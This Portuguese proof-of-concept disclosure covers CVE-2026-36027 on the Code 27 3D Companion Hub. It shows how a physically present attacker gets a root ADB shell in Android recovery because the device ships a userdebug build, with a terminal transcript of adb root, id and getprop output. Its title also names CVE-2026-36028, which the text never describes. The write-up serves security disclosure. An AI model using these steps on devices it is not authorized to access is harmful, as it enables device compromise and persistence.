
Prova de conceito para CVE-2026-36027 e CVE-2026-36028
O Code 27 3D Companion Hub é um dispositivo físico de mesa que renderiza um personagem de IA personalizado (um "Codie") como um companheiro 3D animado. Os usuários podem enviar ou criar qualquer modelo 3D, e a IA multimodal permite que o personagem veja seus arredores, leia tom e linguagem corporal e mantenha conversas abertas.
Este documento cobre duas vulnerabilidades que exigem acesso físico ao dispositivo. Ambas foram validadas na versão abaixo e, no momento da publicação, não possuem correção.
| Campo | Valor |
|---|---|
| Produto | Code 27 3D Companion Hub |
| Versão da interface Companion Hub | 1.2.0 |
| SoC / placa | Rockchip RK3588S (rk3588s_yt921) |
| SO | Android 12 |
| ID da compilação | SQ3A.220705.003.A1 |
| Fingerprint completo | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Tipo de compilação | userdebug / release-keys |
O firmware de fábrica é uma compilação userdebug (visível no banner de recuperação e em ro.build.display.id). Compilações userdebug permitem que o adbd seja reiniciado como root via adb root, o que é um facilitador chave para a existência do CVE-2026-36027.
Um atacante fisicamente próximo pode iniciar o Companion Hub na recuperação do Android e obter um shell ADB com privilégios de root (uid=0, contexto SELinux u:r:su:s0). Como o dispositivo vem com uma compilação userdebug, o adbd pode ser reiniciado como root com adb root, dando ao atacante interação de leitura/escrita com o ambiente de recuperação, capacidade de enumerar propriedades de hardware e compilação, e acesso a funções de recuperação (sideload, fastboot, operações em partições).
O acesso obtido está dentro do ramdisk de recuperação, não no runtime Android ativo. Em testes, a ação Montar /system da recuperação falhou (libfs_mgr não conseguiu abrir /dev/block/by-name/system), portanto a partição de sistema não foi montada diretamente por este caminho, e o ambiente de usuário inicializado, com o kiosk e quaisquer dados de usuário decifrados, não é apresentado neste modo.
Isso ainda importa porque o acesso root ao ambiente de recuperação é a base para modificar o estado persistente do dispositivo (por exemplo, escrever em partições ou aplicar um pacote de atualização criado) de modo que um código controlado pelo atacante possa ser executado em uma inicialização normal subsequente, estabelecendo uma posição no dispositivo ativo.
Mount /system, destaque-o e confirme. Parecerá falhar. Isso é esperado, e a exploração ainda funciona. (O log de recuperação mostra o libfs_mgr falhando ao abrir /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12